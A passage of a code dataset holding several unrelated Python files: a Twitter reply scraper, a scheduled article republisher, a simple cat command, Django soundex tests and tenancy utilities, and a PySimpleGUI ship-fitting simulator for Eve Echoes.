{**default_flags, **user_flags}\n try:\n merged_flags['search_depth'] = int(merged_flags['search_depth'])\n except TypeError as te:\n print(ke)\n print('Flag `search_depth` specified is not an integer')\n print('Set `search_depth to default...`')\n merged_flags['search_depth'] = 1000\n if not (not merged_flags['stop_words']):\n merged_flags['stop_words'] = merged_flags['stop_words'].split(',')\n merged_flags['stop_words'] = [x.strip() for x in merged_flags['stop_words']]\n return merged_flags\n except KeyError as ke:\n print(ke)\n print('Flag value input not recognised. \\\n Specified flags are not available options')\n return default_flags\n\ndef save_to_disk(dataframe, tweet_id, flag_options):\n print('Saving...')\n if flag_options['file_format'] == 'pickle':\n file_name = '../data/raw/replies_to_'+tweet_id+'.pickle'\n dataframe.to_pickle(file_name)\n else:\n file_name = '../data/raw/replies_to_'+tweet_id+'.csv'\n dataframe.to_csv(file_name, index=False)\n print('Saved successfully as '+file_name)\n\ndef print_welcome():\n print('--------------')\n print('get_replies.py')\n print('--------------')\n print('Get the replies to a twitter thread.')\n print('Flags enabled: -f, -s, -w, -bq, -sw')\n print('Enter tweet url followed by flag options.')\n\ndef main(*args):\n print_welcome()\n try:\n user_input = args[0]\n except:\n print('No args passed to get_replies.py main().')\n user_input = input('Tweet url: ')\n print('Parsing link...')\n tweet_url, flag_list = raw_input_parser(user_input)\n twitter_user, tweet_id = parse_tweet_url(tweet_url)\n flag_dict = flag_parser(flag_list)\n # Specify twitter object fields to keep.\n global tweet_fields_of_interest\n\n # Setup path to credentials file.\n path = 'credentials.ini'\n try:\n print('Loading credentials')\n api = setup_api_config(path, flag_dict)\n except Exception as e:\n print('Invalid path to credentials.ini. credentials.ini file not found.')\n exit()\n # Retrieve replies from Twitter API\n try:\n print('Retrieving tweets from server...')\n replies = get_replies(\n api=api,\n twitter_user=twitter_user,\n tweet_id=tweet_id,\n flag_options=flag_dict\n )\n print('Retrieving tweets completed.')\n # Create a list of tweet_field series objects\n s_list = [\n get_field(replies=replies, tweet_field=field)\n for field in tweet_fields_of_interest\n ]\n # Combine the columns\n df = pd.concat(s_list, axis=1)\n\n # Save file to disk.\n save_to_disk(df, tweet_id, flag_options=flag_dict)\n\n # Print summary message to console.\n print(str(df.shape[0])+' rows retrieved.')\n print('Done.')\n return twitter_user, tweet_id, flag_dict\n except tweepy.error.TweepError as e:\n print('API usage rate exceeded.')\n print(str(e))\n print('Failed to collect data.')\n print('Try again in 15 mins.')\n\nif __name__ == '__main__':\n main()\n","sub_path":"src/get_replies.py","file_name":"get_replies.py","file_ext":"py","file_size_in_byte":9916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"238550089","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n__author__: Lveg \n__time__: 2018-08-09 20:23\n\"\"\"\nimport time\nimport json\nimport redis\nimport random\nimport schedule\nimport threading\nfrom LvegSpider.utils.auto_qqwz import Auto_article\n\n# connect to redis\npool = redis.ConnectionPool(host='127.0.0.1', port=6379, db=1)\nr = redis.StrictRedis(connection_pool=pool)\n\ndef job():\n index = random.randint(0, int(r.llen('qqwz')))\n redis_data = r.lindex('qqwz', index)\n try:\n data = json.loads(redis_data)\n except Exception as e:\n print(e)\n return\n # r.lrem('qqwz', 0, redis_data)\n if data['content'] == '' or data['title'] == '':\n r.lrem('qqwz', 0, redis_data)\n return\n else:\n try:\n A = Auto_article(data['content'], data['title'], data['description'], data['keywords'])\n A.publish()\n except Exception as e:\n print(e)\n pass\n finally:\n r.lrem('qqwz', 0, redis_data)\n\n\n# def run_threaded(job_func):\n# job_thread = threading.Thread(target=job_func)\n# job_thread.start()\n\n# schedule.every(20).minutes.do(run_threaded, job)\n# schedule.every(20).minutes.do(job)\nschedule.every().hour.do(job)\n\nwhile True:\n schedule.run_pending()\n time.sleep(1)\n","sub_path":"LvegSpider/run/run_qqwz.py","file_name":"run_qqwz.py","file_ext":"py","file_size_in_byte":1278,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"224934486","text":"#!/usr/bin/env python\r\nfrom subprocess import call\r\n\r\n\r\ndef cat(args):\r\n if len(args) == 1:\r\n print(\"needs more arguments!\")\r\n elif len(args) > 1:\r\n for i in range(1, len(args)):\r\n file = open(args[i], 'r')\r\n for line in file:\r\n print(line)\r\n","sub_path":"Assignments/cmd_pkg/cat.py","file_name":"cat.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"516909000","text":"# -*- coding:utf-8 -*-\nfrom django.test import TestCase\n\nfrom django_mysql_tests.models import Author\n\n\nclass SoundexTests(TestCase):\n\n def test_sounds_like_lookup(self):\n principles = [\"principle\", \"principal\", \"princpl\"]\n created = {Author.objects.create(name=name) for name in principles}\n\n for name in principles:\n sounding = Author.objects.filter(name__sounds_like=name)\n self.assertEqual(set(sounding), created)\n\n sounding = Author.objects.filter(name__sounds_like='')\n self.assertEqual(set(sounding), set())\n\n sounding = Author.objects.filter(name__sounds_like='nothing')\n self.assertEqual(set(sounding), set())\n\n def test_soundex_strings(self):\n author = Author.objects.create(name='Robert')\n self.assertEqual(Author.objects.get(name__soundex='R163'), author)\n","sub_path":"tests/django_mysql_tests/test_soundex.py","file_name":"test_soundex.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"583811637","text":"from __future__ import unicode_literals\n\nfrom contextlib import contextmanager\nfrom itertools import chain\n\nfrom django.apps import apps\nfrom django.db import models\nfrom django.utils.functional import cached_property\n\nfrom .compat import get_remote_field, get_remote_field_model\n\n\ndef get_model(app_label, model_name):\n try:\n return apps.get_registered_model(app_label, model_name)\n except LookupError:\n pass\n\n\n@contextmanager\ndef apps_lock():\n # The registry lock is not re-entrant so we must avoid acquiring it\n # during the initialization phase in order to prevent deadlocks.\n if apps.ready:\n with apps._lock:\n yield\n else:\n yield\n\n\ndef remove_from_app_cache(model_class, quiet=False):\n opts = model_class._meta\n apps = opts.apps\n app_label, model_name = opts.app_label, opts.model_name\n with apps_lock():\n try:\n model_class = apps.app_configs[app_label].models.pop(model_name)\n except KeyError:\n if not quiet:\n raise ValueError(\"%r is not cached\" % model_class)\n apps.clear_cache()\n unreference_model(model_class)\n return model_class\n\n\ndef get_forward_fields(opts):\n return chain(\n opts.fields,\n opts.many_to_many\n )\n\n\ndef get_reverse_fields(opts):\n return opts._get_fields(forward=False, reverse=True, include_hidden=True)\n\n\ndef clear_opts_related_cache(model_class):\n opts = model_class._meta\n if not opts.apps.ready:\n return\n children = [\n related_object.related_model\n for related_object in opts.__dict__.get('related_objects', []) if related_object.parent_link\n ]\n opts._expire_cache()\n for child in children:\n clear_opts_related_cache(child)\n\n\ndef unreference_model(model):\n disconnect_signals(model)\n for field in get_forward_fields(model._meta):\n remote_field = get_remote_field(field)\n if field.model is model and remote_field:\n remote_field_model = get_remote_field_model(field)\n if isinstance(remote_field_model, models.base.ModelBase):\n clear_opts_related_cache(remote_field_model)\n rel_is_hidden = remote_field.is_hidden()\n # An accessor is added to related classes if they are not\n # hidden. However o2o fields *always* add an accessor\n # even if the relationship is hidden.\n o2o = isinstance(field, models.OneToOneField)\n if not rel_is_hidden or o2o:\n try:\n delattr(remote_field_model, remote_field.get_accessor_name())\n except AttributeError:\n pass\n\n\nmodel_sender_signals = (\n models.signals.pre_init,\n models.signals.post_init,\n models.signals.pre_save,\n models.signals.post_save,\n models.signals.pre_delete,\n models.signals.post_delete,\n models.signals.m2m_changed,\n)\n\n\ndef receivers_for_model(model):\n for signal in model_sender_signals:\n for receiver in signal._live_receivers(model):\n yield signal, receiver\n\n\ndef disconnect_signals(model):\n for signal, receiver in receivers_for_model(model):\n signal.disconnect(receiver, sender=model)\n\n\ndef clear_cached_properties(instance):\n \"\"\"\n Clear the cache from the instance properties.\n \"\"\"\n cls = type(instance)\n for attr in list(instance.__dict__):\n if isinstance(getattr(cls, attr, None), cached_property):\n instance.__dict__.pop(attr)\n\n\ndef get_postgresql_visible_constraints(cursor, table_name):\n \"\"\"\n Retrieves any constraints or keys (unique, pk, fk, check, index) across one or more columns.\n \"\"\"\n constraints = {}\n # Loop over the key table, collecting things as constraints\n # This will get PKs, FKs, and uniques, but not CHECK\n cursor.execute(\"\"\"\n SELECT\n kc.constraint_name,\n kc.column_name,\n c.constraint_type,\n array(SELECT table_name::text || '.' || column_name::text\n FROM information_schema.constraint_column_usage\n WHERE constraint_name = kc.constraint_name)\n FROM information_schema.key_column_usage AS kc\n JOIN information_schema.table_constraints AS c ON\n kc.table_schema = c.table_schema AND\n kc.table_name = c.table_name AND\n kc.constraint_name = c.constraint_name\n WHERE\n kc.table_name = %s AND\n EXISTS(\n SELECT 1\n FROM pg_class AS c\n JOIN pg_namespace AS n ON\n c.relnamespace = n.oid\n WHERE\n n.nspname = kc.table_schema AND\n c.relname = kc.table_name AND\n pg_catalog.pg_table_is_visible(c.oid)\n )\n ORDER BY kc.ordinal_position ASC\n \"\"\", [table_name])\n for constraint, column, kind, used_cols in cursor.fetchall():\n # If we're the first column, make the record\n if constraint not in constraints:\n constraints[constraint] = {\n \"columns\": [],\n \"primary_key\": kind.lower() == \"primary key\",\n \"unique\": kind.lower() in [\"primary key\", \"unique\"],\n \"foreign_key\": tuple(used_cols[0].split(\".\", 1)) if kind.lower() == \"foreign key\" else None,\n \"check\": False,\n \"index\": False,\n }\n # Record the details\n constraints[constraint]['columns'].append(column)\n # Now get CHECK constraint columns\n cursor.execute(\"\"\"\n SELECT kc.constraint_name, kc.column_name\n FROM information_schema.constraint_column_usage AS kc\n JOIN information_schema.table_constraints AS c ON\n kc.table_schema = c.table_schema AND\n kc.table_name = c.table_name AND\n kc.constraint_name = c.constraint_name\n WHERE\n c.constraint_type = 'CHECK' AND\n kc.table_name = %s AND\n EXISTS(\n SELECT 1\n FROM pg_class AS c\n JOIN pg_namespace AS n ON\n c.relnamespace = n.oid\n WHERE\n n.nspname = kc.table_schema AND\n c.relname = kc.table_name AND\n pg_catalog.pg_table_is_visible(c.oid)\n )\n \"\"\", [table_name])\n for constraint, column in cursor.fetchall():\n # If we're the first column, make the record\n if constraint not in constraints:\n constraints[constraint] = {\n \"columns\": [],\n \"primary_key\": False,\n \"unique\": False,\n \"foreign_key\": None,\n \"check\": True,\n \"index\": False,\n }\n # Record the details\n constraints[constraint]['columns'].append(column)\n # Now get indexes\n cursor.execute(\"\"\"\n SELECT\n c2.relname,\n ARRAY(\n SELECT (SELECT attname FROM pg_catalog.pg_attribute WHERE attnum = i AND attrelid = c.oid)\n FROM unnest(idx.indkey) i\n ),\n idx.indisunique,\n idx.indisprimary\n FROM\n pg_catalog.pg_class c,\n pg_catalog.pg_class c2,\n pg_catalog.pg_index idx\n WHERE\n c.oid = idx.indrelid\n AND idx.indexrelid = c2.oid\n AND c.relname = %s\n AND pg_catalog.pg_table_is_visible(c.oid)\n \"\"\", [table_name])\n for index, columns, unique, primary in cursor.fetchall():\n if index not in constraints:\n constraints[index] = {\n \"columns\": list(columns),\n \"primary_key\": primary,\n \"unique\": unique,\n \"foreign_key\": None,\n \"check\": False,\n \"index\": True,\n }\n return constraints\n\n\n@contextmanager\ndef patch_connection_introspection(connection):\n if connection.vendor == 'postgresql':\n get_constraints = connection.introspection.get_constraints\n connection.introspection.get_constraints = get_postgresql_visible_constraints\n try:\n yield\n finally:\n if connection.vendor == 'postgresql':\n connection.introspection.get_constraints = get_constraints\n","sub_path":"tenancy/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"585852923","text":"# pylint: disable=line-too-long\n\nimport base64\nimport copy\nimport os\nfrom ast import literal_eval\n\nimport cv2\nimport PySimpleGUI as sg\n\nfrom ship import Ship\n\nMAX_HIGH_SLOTS = 8\nMAX_MID_SLOTS = 5\nMAX_DRONE_SLOTS = 5\nMAX_LOW_SLOTS = 8\nMAX_RIG_SLOTS = 3\n\nCOLORS = {}\nCOLORS[\"story\"] = [38, 91, 54]\nCOLORS[\"pirate\"] = [93, 236, 178]\nCOLORS[\"deadspace\"] = [200, 70, 0]\n\nsg.user_settings_filename(\"settings/skills.json\")\n\nclass GUI():\n def __init__(self, ships_data, high_slots_data, mid_slots_data, drone_slots_data, low_slots_data, combat_rigs_data, engineer_rigs_data):\n self.player_data = sg.user_settings()\n\n self.ships_data = copy.deepcopy(ships_data)\n self.ship_factions = []\n self.ship_types = {} #[\"Frigates\", \"Destroyers\", \"Cruisers\", \"Battlecruisers\", \"Battleships\"]\n self.ship_names = {}\n for ship_faction in ships_data:\n self.ship_factions.append(ship_faction)\n self.ship_types[ship_faction] = []\n self.ship_names[ship_faction] = {}\n for ship_type in ships_data[ship_faction]:\n self.ship_types[ship_faction].append(ship_type)\n self.ship_names[ship_faction][ship_type] = []\n for ship_name in ships_data[ship_faction][ship_type]:\n self.ship_names[ship_faction][ship_type].append(ship_name)\n\n self.current_ship_faction = None\n self.current_ship_type = None\n\n self.high_slots_data = high_slots_data\n self.mid_slots_data = mid_slots_data\n self.drone_slots_data = drone_slots_data\n self.low_slots_data = low_slots_data\n self.combat_rigs_data = combat_rigs_data\n self.engineer_rigs_data = engineer_rigs_data\n\n high_slots_layout = [self.make_slot(\"slot-high-\" + str(x), image_filename=\"icons/high-slot.png\") for x in range(MAX_HIGH_SLOTS)]\n mid_slots_layout = [[self.make_slot(\"slot-mid-\" + str(x), image_filename=\"icons/mid-slot.png\")] for x in range(MAX_MID_SLOTS)]\n drone_slots_layout = [[self.make_slot(\"slot-drone-\" + str(x), image_filename=\"icons/drone-slot.png\")] for x in range(MAX_DRONE_SLOTS)]\n low_slots_layout = [self.make_slot(\"slot-low-\" + str(x), image_filename=\"icons/low-slot.png\") for x in range(MAX_LOW_SLOTS)]\n\n combat_rigs_layout = [[self.make_slot(\"slot-combat-\" + str(x), image_filename=\"icons/combat-slot.png\")] for x in range(MAX_RIG_SLOTS)]\n engineer_rigs_layout = [[self.make_slot(\"slot-engineer-\" + str(x), image_filename=\"icons/engineer-slot.png\")] for x in range(MAX_RIG_SLOTS)]\n\n turrets_damage_layout = [[sg.Text(\"\")], [sg.Text(\"Turrets: \")], [sg.Text(\"0 dps\", key=\"turrets-dps\", size=(14, 1))]]\n missiles_damage_layout = [[sg.Text(\"\")], [sg.Text(\"Missiles: \")], [sg.Text(\"0 dps\", key=\"launchers-dps\", size=(14, 1))]]\n drones_damage_layout = [[sg.Text(\"0 Km\", key=\"drones-range\", size=(14, 1))], [sg.Text(\"Drones: \")], [sg.Text(\"0 dps\", key=\"drones-dps\", size=(14, 1))]]\n\n damage_layout = [sg.Frame('', [\n [sg.Text(\"Damage: \")] + [sg.Text(\"0 dps\", key=\"dps\", size=(14, 1))],\n [sg.Frame('', [[sg.Col(turrets_damage_layout)], [sg.Sizer(160, 1)]])] +\n [sg.Frame('', [[sg.Col(missiles_damage_layout)], [sg.Sizer(160, 1)]])] +\n [sg.Frame('', [[sg.Col(drones_damage_layout)], [sg.Sizer(160, 1)]])],\n ])]\n\n shield_layout = self.make_defense(\"shield\")\n armor_layout = self.make_defense(\"armor\")\n hull_layout = self.make_defense(\"hull\")\n\n defense_layout = [sg.Frame('', [\n [sg.Text(\"Defense:\", size=(9, 1))] + [sg.Text(\"\", key=\"defense-VAL\", size=(10, 1))],\n [sg.Frame('', [[sg.Col(shield_layout)], [sg.Sizer(160, 1)]])] +\n [sg.Frame('', [[sg.Col(armor_layout)], [sg.Sizer(160, 1)]])] +\n [sg.Frame('', [[sg.Col(hull_layout)], [sg.Sizer(160, 1)]])],\n ])]\n\n capacitor_layout = [sg.Frame('', [\n [sg.Text(\"Capacitor Capacity:\", size=(24, 1))] + [sg.Text(\"0 GJ\", key=\"capacitor-VAL\", size=(10, 1), justification=\"r\")],\n [sg.Text(\"Capacitor Recharge Time:\", size=(24, 1))] + [sg.Text(\"0 s\", key=\"capacitor-recharge-VAL\", size=(10, 1), justification=\"r\")],\n [sg.Text(\"Capacitor Recharge Rate:\", size=(24, 1))] + [sg.Text(\"0 GJ/s\", key=\"capacitor-rate-VAL\", size=(10, 1), justification=\"r\")],\n ])]\n\n powergrid_layout = [sg.Frame('', [\n [sg.Text(\"Powergrid:\", size=(18, 1))] + [sg.Text(\"0 MW\", key=\"powergrid-VAL\", size=(16, 1), justification=\"r\")],\n [sg.ProgressBar(100, orientation='h', size=(25, 5), key=\"powergrid-PROG\", bar_color=(\"orange\", \"grey\"))]\n ])]\n\n navigation_layout = [sg.Frame('', [\n [sg.Text(\"Flight velocity:\", size=(20, 1))] + [sg.Text(\"0 m/s\", key=\"navigation-flight-velocity\", size=(14, 1), justification=\"r\")],\n [sg.Text(\"Mass:\", size=(20, 1))] + [sg.Text(\"0 Kg\", key=\"navigation-mass\", size=(14, 1), justification=\"r\")],\n [sg.Text(\"Inertia modifier:\", size=(20, 1))] + [sg.Text(\"0\", key=\"navigation-inertia-modifier\", size=(14, 1), justification=\"r\")],\n [sg.Text(\"Warp speed:\", size=(20, 1))] + [sg.Text(\"0 AU/s\", key=\"navigation-warp-speed\", size=(14, 1), justification=\"r\")],\n ])]\n\n # treedata = self.make_treedata(high_slots_data)\n treedata = sg.TreeData()\n treedata_layout = [sg.Tree(data=treedata,\n headings=[''],\n visible_column_map=[''],\n auto_size_columns=True,\n row_height=26,\n num_rows=30,\n col0_width=30,\n key='tree',\n change_submits=False,\n show_expanded=False,\n enable_events=True)]\n\n layout = [[sg.Text('Faction: ', size=(10, 1))] + [sg.Combo(self.ship_factions, enable_events=True, size=(20, 1), key='dropdown-faction')],\n [sg.Text('Type: ', size=(10, 1))] + [sg.Combo([], enable_events=True, size=(20, 1), key='dropdown-type', disabled=True)],\n [sg.Text('Ship: ', size=(10, 1))] + [sg.Combo([], enable_events=True, size=(20, 1), key='dropdown-shipname', disabled=True)],\n [sg.Frame('', [\n treedata_layout\n ])] +\n [sg.Frame('', [\n high_slots_layout,\n [\n sg.Col(combat_rigs_layout + [[sg.HorizontalSeparator()]] + engineer_rigs_layout),\n self.make_ship(\"ships/blank.png\"),\n sg.Col(mid_slots_layout + [[sg.HorizontalSeparator()]] + drone_slots_layout, pad=(0, 0))\n ],\n low_slots_layout], key='fit', element_justification='c'),\n sg.Frame('', [\n damage_layout,\n defense_layout,\n capacitor_layout,\n powergrid_layout,\n navigation_layout\n ]),\n ],\n [\n sg.Button('Update', key='Update', disabled=True), sg.Exit(),\n ]\n ]\n\n self.current_ship_data = None\n self.current_ship_name = None\n self.current_ship = None\n self.selected_slot = None\n self.tooltip = None\n self.selected_tree_row = None\n self.selected_tree_row_position = None\n\n self.window = sg.Window('EEpyFS. Eve Echoes python Fitting Simulator', layout)\n self.window.Finalize()\n\n self.window[\"tree\"].bind('', '-double-click')\n # self.window[\"tree\"].bind('', '-right-click')\n self.window[\"tree\"].Widget.bind('', self.onTreeRightClick)\n self.window[\"tree\"].bind('', '-leave')\n\n self.add_hover_events()\n\n # self.window.Maximize()\n\n def add_hover_events(self):\n for slot_num in range(MAX_HIGH_SLOTS):\n # self.window[\"slot-high-\" + str(slot_num)].bind('', '-hover-enter')\n self.window[\"slot-high-\" + str(slot_num)].bind('', '-hover-leave')\n self.window[\"slot-high-\" + str(slot_num)].bind('', '-right')\n for slot_num in range(MAX_MID_SLOTS):\n self.window[\"slot-mid-\" + str(slot_num)].bind('', '-right')\n # self.window[\"slot-mid-\" + str(slot_num)].bind('', '-hover-enter')\n # self.window[\"slot-mid-\" + str(slot_num)].bind('', '-hover-leave')\n for slot_num in range(MAX_LOW_SLOTS):\n self.window[\"slot-low-\" + str(slot_num)].bind('', '-right')\n # self.window[\"slot-low-\" + str(slot_num)].bind('', '-hover-enter')\n self.window[\"slot-low-\" + str(slot_num)].bind('', '-hover-leave')\n for slot_num in range(MAX_DRONE_SLOTS):\n # self.window[\"slot-drone-\" + str(slot_num)].bind('', '-hover-enter')\n self.window[\"slot-drone-\" + str(slot_num)].bind('', '-hover-leave')\n self.window[\"slot-drone-\" + str(slot_num)].bind('', '-right')\n for slot_num in range(MAX_RIG_SLOTS):\n self.window[\"slot-combat-\" + str(slot_num)].bind('', '-right')\n self.window[\"slot-engineer-\" + str(slot_num)].bind('', '-right')\n # self.window[\"slot-combat-\" + str(slot_num)].bind('', '-hover-enter')\n # self.window[\"slot-combat-\" + str(slot_num)].bind('', '-hover-leave')\n # self.window[\"slot-engineer-\" + str(slot_num)].bind('', '-hover-enter')\n # self.window[\"slot-engineer-\" + str(slot_num)].bind('', '-hover-leave')\n\n def onTreeRightClick(self, event):\n row = self.window[\"tree\"].Widget.identify_row(event.y)\n self.window[\"tree\"].Widget.selection_set(row)\n selection = self.window[\"tree\"].Widget.selection()\n self.selected_tree_row = self.window[\"tree\"].Widget.item(selection)\n bbox = self.window[\"tree\"].Widget.bbox(selection)\n pos_x = bbox[0] + bbox[2]\n pos_y = bbox[1]\n self.selected_tree_row_position = (pos_x, pos_y)\n\n def read(self):\n # event, values = self.window.Read()\n window, event, values = sg.read_all_windows()\n if event is None or event == 'Exit':\n return False\n\n if self.selected_tree_row and self.selected_tree_row[\"values\"]:\n self.selected_tree_row[\"text\"] = values[\"tree\"][0]\n self.show_tree_tooltip(self.selected_tree_row_position, self.selected_tree_row)\n self.selected_tree_row = None\n\n if event == 'Update':\n if not self.current_ship_data:\n return True\n if not self.current_ship:\n self.current_ship = Ship(self.current_ship_name, self.current_ship_data, self.player_data)\n self.reset_ship()\n self.update_ship()\n elif self.current_ship_name != self.current_ship.name:\n ok_cancel = sg.PopupOKCancel(\"Are you sure you want to change ship?\")\n if ok_cancel == \"OK\":\n self.current_ship = Ship(self.current_ship_name, self.current_ship_data, self.player_data)\n self.reset_ship()\n self.update_ship()\n self.selected_slot = None\n self.update_treedata(\"empty\", None)\n\n elif \"dropdown\" in event:\n dropdown_type = event.split(\"-\")[1]\n if dropdown_type == \"faction\":\n self.current_ship_faction = values[event]\n self.window[\"dropdown-type\"].Update(value=\"\", values=self.ship_types[self.current_ship_faction], disabled=False)\n self.window[\"dropdown-shipname\"].Update(value=\"\", values=None, disabled=True)\n self.current_ship_type = None\n self.current_ship_name = None\n self.window[\"Update\"].Update(disabled=True)\n elif dropdown_type == \"type\" and self.current_ship_faction:\n self.current_ship_type = values[event]\n self.window[\"dropdown-shipname\"].Update(value=\"\", values=self.ship_names[self.current_ship_faction][self.current_ship_type], disabled=False)\n self.current_ship_name = None\n self.window[\"Update\"].Update(disabled=True)\n elif dropdown_type == 'shipname':\n self.current_ship_name = values[event]\n self.current_ship_data = self.ships_data[self.current_ship_faction][self.current_ship_type][self.current_ship_name]\n self.window[\"Update\"].Update(disabled=False)\n\n elif event == \"tree-leave\":\n if self.tooltip:\n self.tooltip.close()\n self.tooltip = None\n\n elif self.current_ship:\n if event == \"tree-double-click\" and self.selected_slot:\n if values[\"tree\"] and len(values[\"tree\"][0].split(\"-\")) > 1:\n selected_item_row = self.window.Element(\"tree\").SelectedRows[0]\n selected = self.window.Element(\"tree\").TreeData.tree_dict[selected_item_row]\n item = {}\n item[values[\"tree\"][0]] = copy.deepcopy(selected.values)\n slot_added, self.selected_slot = self.current_ship.add_slot(self.selected_slot, item)\n if slot_added:\n if \"drones\" in values[\"tree\"][0]:\n image_filename = \"-\".join(values[\"tree\"][0].split(\"-\")[0:3])\n image_filename += \"-\" + values[\"tree\"][0].split(\" \")[-1].lower()\n else:\n image_filename = \"-\".join(values[\"tree\"][0].split(\"-\")[0:3])\n faction = list(item.values())[0][\"faction\"]\n icon = self.get_icon(image_filename, faction=faction, size=(65, 65))\n self.window.Element(self.selected_slot).Update(image_data=icon)\n self.update_ship()\n else:\n sg.PopupOK(\"NOT ENOUGH POWERGRID!\", no_titlebar=True)\n\n elif event.split(\"-\")[0] == \"slot\":\n if len(event.split(\"-\")) >= 4:\n event_type = event.split(\"-\")[3]\n event_slot = \"-\".join(event.split(\"-\")[0:3])\n slot_info = self.current_ship.get_slot(event_slot)\n if slot_info:\n if event_type == \"right\":\n menu_event = self.make_right_click_menu(event_slot)\n if menu_event == \"Unfit\":\n if self.current_ship.remove_slot(event_slot):\n slot_type = event_slot.split(\"-\")[1]\n image_filename = slot_type + \"-slot\"\n icon = self.get_icon(image_filename, faction='none', size=(65, 65))\n self.window.Element(event_slot).Update(image_data=icon)\n self.update_ship()\n elif menu_event == \"Stats\":\n self.show_slot_info(event_slot, slot_info)\n elif event_type == \"hover\":\n hover_event = event.split(\"-\")[4]\n if hover_event == \"leave\":\n self.hide_slot_info()\n else:\n if self.selected_slot:\n if event.split(\"-\")[1] != self.selected_slot.split(\"-\")[1]:\n slot_type = event.split(\"-\")[1]\n self.update_treedata(slot_type, self.current_ship.get_max_drone_size())\n else:\n slot_type = event.split(\"-\")[1]\n self.update_treedata(slot_type, self.current_ship.get_max_drone_size())\n self.selected_slot = event\n return True\n\n def reset_ship(self):\n if os.path.isfile(\"ships/\" + self.current_ship.name + \".png\"):\n self.window.Element(\"ship\").Update(image_filename=\"ships/\" + self.current_ship.name + \".png\")\n else:\n self.window.Element(\"ship\").Update(image_filename=\"ships/blank.png\")\n for i in range(MAX_HIGH_SLOTS):\n self.window.Element(\"slot-high-\" + str(i)).Update(visible=i < self.current_ship.max_slots[\"high\"], image_filename=\"icons/high-slot.png\")\n for i in range(MAX_MID_SLOTS):\n self.window.Element(\"slot-mid-\" + str(i)).Update(visible=i < self.current_ship.max_slots[\"mid\"], image_filename=\"icons/mid-slot.png\")\n for i in range(MAX_DRONE_SLOTS):\n self.window.Element(\"slot-drone-\" + str(i)).Update(visible=i < self.current_ship.max_slots[\"drone\"], image_filename=\"icons/drone-slot.png\")\n for i in range(MAX_LOW_SLOTS):\n self.window.Element(\"slot-low-\" + str(i)).Update(visible=i < self.current_ship.max_slots[\"low\"], image_filename=\"icons/low-slot.png\")\n for i in range(MAX_RIG_SLOTS):\n self.window.Element(\"slot-combat-\" + str(i)).Update(visible=i < self.current_ship.max_rigs[\"combat\"], image_filename=\"icons/combat-slot.png\")\n self.window.Element(\"slot-engineer-\" + str(i)).Update(visible=i < self.current_ship.max_rigs[\"engineer\"], image_filename=\"icons/engineer-slot.png\")\n\n def update_ship(self):\n # Update DPS\n dps, total_dps, control_range = self.current_ship.get_dps()\n for key in list(dps.keys()):\n self.window.Element(key + \"-dps\").Update(str(dps[key]) + \" dps\")\n self.window.Element(\"dps\").Update(str(total_dps) + \" dps\")\n self.window.Element(\"drones-range\").Update(str(control_range) + \" Km\")\n # Update Powergrid\n powergrid = self.current_ship.get_powergrid()\n self.window.Element(\"powergrid-VAL\").Update(str(powergrid[\"used\"]) + \" / \" + str(powergrid[\"value\"]) + \" MW\")\n self.window.Element(\"powergrid-PROG\").update_bar(str(100 * powergrid[\"used\"] / powergrid[\"value\"]))\n # Update Capacitor\n capacitor = self.current_ship.get_capacitor()\n self.window.Element(\"capacitor-VAL\").Update(str(capacitor[\"value\"]) + \" GJ\")\n self.window.Element(\"capacitor-recharge-VAL\").Update(str(capacitor[\"recharge\"]) + \" s\")\n self.window.Element(\"capacitor-rate-VAL\").Update(str(capacitor[\"rate\"]) + \" GJ/s\")\n # Update Defenses\n defenses = self.current_ship.get_defenses()\n for defense_type in defenses:\n defense = defenses[defense_type]\n self.window.Element(defense_type + \"-VAL\").Update(defense[\"value\"])\n for resist_type in defense[\"resists\"]:\n resist = defense[\"resists\"][resist_type]\n self.window.Element(resist_type + \"-\" + defense_type + \"-VAL\").Update(str(int(resist)) + \"%\")\n self.window.Element(resist_type + \"-\" + defense_type + \"-PROG\").update_bar(resist)\n self.window.Element(\"defense-VAL\").Update(self.current_ship.get_ehp())\n # Update Navigation\n navigation = self.current_ship.get_navigation()\n self.window.Element(\"navigation-flight-velocity\").Update(str(round(navigation[\"flight_velocity\"], 2)) + \" m/s\")\n self.window.Element(\"navigation-mass\").Update(str(navigation[\"mass\"]) + \" Kg\")\n self.window.Element(\"navigation-inertia-modifier\").Update(str(navigation[\"inertia_modifier\"]))\n self.window.Element(\"navigation-warp-speed\").Update(str(navigation[\"warp_speed\"]) + \" AU/s\")\n\n def update_treedata(self, slot_type, max_drone_size=None):\n if slot_type == \"high\":\n self.window.Element(\"tree\").Update(self.make_treedata(self.high_slots_data))\n elif slot_type == \"mid\":\n self.window.Element(\"tree\").Update(self.make_treedata(self.mid_slots_data))\n elif slot_type == \"drone\":\n self.window.Element(\"tree\").Update(self.make_treedata(self.drone_slots_data, is_drone=True, max_drone_size=max_drone_size))\n elif slot_type == \"low\":\n self.window.Element(\"tree\").Update(self.make_treedata(self.low_slots_data))\n elif slot_type == \"combat\":\n self.window.Element(\"tree\").Update(self.make_treedata(self.combat_rigs_data))\n elif slot_type == \"engineer\":\n self.window.Element(\"tree\").Update(self.make_treedata(self.engineer_rigs_data))\n else:\n self.window.Element(\"tree\").Update(sg.TreeData())\n\n def make_right_click_menu(self, slot_type):\n widget = self.window.Element(slot_type).Widget\n if \"low\" in slot_type:\n location = (widget.winfo_rootx(), widget.winfo_rooty() - 100)\n else:\n location = (widget.winfo_rootx(), widget.winfo_rooty() + 70)\n\n layout = [\n [sg.Button(\"Unfit\")],\n [sg.Button(\"Stats\")]\n ]\n window = sg.Window(\"test\",\n layout=layout,\n no_titlebar=True,\n finalize=True,\n location=location)\n event, _ = window.read(timeout=5000)\n window.close()\n return event\n\n def slot_info_tooltip(self, slot_type, slot_info):\n widget = self.window.Element(slot_type).Widget\n if \"low\" in slot_type:\n location = (widget.winfo_rootx(), widget.winfo_rooty() - 500)\n else:\n location = 